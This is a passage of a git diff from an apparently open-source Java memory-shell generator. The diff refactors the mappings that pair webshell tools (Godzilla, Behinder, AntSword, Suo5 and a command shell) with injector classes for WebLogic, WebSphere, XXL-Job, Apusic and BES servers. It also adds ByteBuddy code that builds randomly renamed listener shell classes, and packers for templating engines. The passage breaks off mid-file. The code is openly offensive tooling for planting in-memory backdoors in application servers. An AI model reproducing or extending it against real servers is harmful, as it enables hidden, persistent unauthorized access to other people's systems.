map.put(LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class WebSphereShell extends AbstractShell {
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
}
@@ -1,31 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobShell extends AbstractShell {
public static final String NETTY_HANDLER = "NettyHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class));
return map;
}
}
@@ -1,5 +1,7 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -35,7 +37,7 @@ public class ShellConfig {
* 生成类的目标 JRE 版本
*/
@Builder.Default
private int targetJreVersion = Constants.DEFAULT_VERSION;
private int targetJreVersion = Opcodes.V1_6;
/**
* 是否需要移除模块限制
@@ -1,8 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
@@ -4,14 +4,14 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -48,13 +48,13 @@ public class AntSwordGenerator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", antSwordConfig.getPass(),
"headerName", antSwordConfig.getHeaderName(),
"headerValue", antSwordConfig.getHeaderValue()
))
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", antSwordConfig.getPass());
put("headerName", antSwordConfig.getHeaderName());
put("headerValue", antSwordConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
@@ -4,15 +4,15 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -51,13 +51,13 @@ public class BehinderGenerator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", md5Key,
"headerName", behinderConfig.getHeaderName(),
"headerValue", behinderConfig.getHeaderValue()
))
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", md5Key);
put("headerName", behinderConfig.getHeaderName());
put("headerValue", behinderConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(md5Key)
@@ -4,13 +4,13 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Map;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -38,8 +38,12 @@ public class CommandGenerator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (config.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName())));
if (config.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("paramName", shellConfig.getParamName());
}})
);
} else {
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
}
@@ -4,7 +4,7 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
@@ -12,7 +12,7 @@ import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -52,15 +52,15 @@ public class GodzillaGenerator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", godzillaConfig.getPass(),
"key", md5Key,
"md5", md5,
"headerName", godzillaConfig.getHeaderName(),
"headerValue", godzillaConfig.getHeaderValue()
))
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", godzillaConfig.getPass());
put("key", md5Key);
put("md5", md5);
put("headerName", godzillaConfig.getHeaderName());
put("headerValue", godzillaConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderListener;
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/22
*/
public class ListenerGenerator {
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, ShellTool shellTool) {
Class<?> targetClass = null;
switch (shellTool) {
case Suo5:
targetClass = Suo5Listener.class;
break;
case Godzilla:
targetClass = GodzillaListener.class;
break;
case Behinder:
targetClass = BehinderListener.class;
break;
case AntSword:
targetClass = AntSwordListener.class;
break;
case Command:
targetClass = CommandListener.class;
break;
default:
throw new IllegalArgumentException("Unknown shell tool: " + shellTool);
}
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
.redefine(targetClass)
.name(newClassName)
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
.make()) {
return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
}
}
}
@@ -4,13 +4,13 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Map;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -41,12 +41,12 @@ public class Suo5Generator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"headerName", suo5Config.getHeaderName(),
"headerValue", suo5Config.getHeaderValue()
))
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", suo5Config.getHeaderName());
put("headerValue", suo5Config.getHeaderValue());
}})
);
} else {
builder = builder
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import java.util.LinkedHashMap;
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.bsh;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,12 +1,6 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.el;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.freemarker;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.groovy;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.jexl;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.jinjava;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.jxpath;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.mvel;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.ognl;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.rhino;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.packer.velocity;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/7
*/
public abstract class AbstractShell {
private final Map<ShellTool, ToolMapping> map = new LinkedHashMap<>();
public AbstractShell() {
init();
}
/**
* 定义注入器映射
*
* @return 注入器映射
*/
abstract InjectorMapping getShellInjectorMapping();
protected void addToolMapping(ShellTool shellTool, ToolMapping mapping) {
map.put(shellTool, mapping);
}
/**
* 初始化方法,用来定义 shellToolMapping 填充 map
*/
abstract void init();
/**
* 获取内存马功能所支持的注入类型列表
*
* @param shellTool 内存马功能
* @return shellTypes
*/
public List<String> getSupportedShellTypes(ShellTool shellTool) {
ToolMapping toolMapping = map.get(shellTool);
if (toolMapping == null) {
return Collections.emptyList();
}
return toolMapping.getSupportedShellTypes();
}
public Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
ToolMapping mapping = map.get(shellTool);
if (mapping == null) {
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
}
Map<String, Pair<Class<?>, Class<?>>> shellClassMap = mapping.getShellClassMap(getShellInjectorMapping());
return shellClassMap.get(shellType);
}
}
@@ -0,0 +1,72 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class ApusicShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "parameters"), "response");
}
}
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(SERVLET, ApusicServletInjector.class)
.addInjector(FILTER, ApusicFilterInjector.class)
.addInjector(LISTENER, ApusicListenerInjector.class).build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla)).build());
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command)).build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder)).build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5)).build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword)).build());
}
}
@@ -0,0 +1,82 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
import com.reajason.javaweb.memshell.bes.command.CommandValve;
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.bes.injector.*;
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/26
*/
public class BesShell extends AbstractShell {
@Override
protected InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, BesFilterInjector.class)
.addInjector(LISTENER, BesListenerInjector.class)
.addInjector(VALVE, BesValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
.addInjector(AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
.build();
}
@Override
protected void init() {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command))
.addShellClass(VALVE, CommandValve.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla))
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder))
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5))
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword))
